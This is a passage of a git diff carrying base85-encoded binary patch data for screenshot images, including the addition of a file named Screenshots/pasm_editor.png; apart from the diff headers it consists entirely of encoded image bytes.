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 literal 10848 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 diff --git a/Screenshots/pasm_editor.png b/Screenshots/pasm_editor.png new file mode 100644 index 0000000000000000000000000000000000000000..412f2e19d64062360b6472e2ffc9af0bf5b9e420 GIT binary patch literal 31043 zcma&OWmHt*+CMA^C?F+B2nY@cN-78lBPBz3H;95rcgIMN(k(gC-Q7}B0!lYXcMc3a z|BdIUJnKCl-Y>IU!`}CO_4T`A{HP!&j)!v}=f;g2c#;wjr5iVHf^OVEo4<_(d_%(L z+)SUDi%D$3WE;>hYv6`mV z)CgdZz+F~RyoWz@r*(%NYEM<191e}^YYO=ft^3Xrw{xuEcDY!3HeJp8HmT6=eMk+9 zJl{69%X%bDBqI&7`sI>jXqU}RBMJqS4YXTH4K;)^6AB@&sBvw-u&GjLQb#G)sUUZq z4lDPnkd6lg8{1nJXTGOM;`LeifsUVyil~vIHR1LP$1i;UMgq%c6Pp%5y5`XqcWp~Z^6-}YoiZ55Q-}(L?dI8eMH%G$=i;_9C?r2vVuz_ zvJuI@;&9=HqJpB3&>gCs$=OTC-p0#IdAEr{&_-%#R_GaX(>`;G>TuKGnHl57K~&aD zQN8ndGWE*g!(pQlL09nX*sNZY-i|gjXzpWAEy2Fe4fNZzKO)fukDCb+n=o(Q^ump( 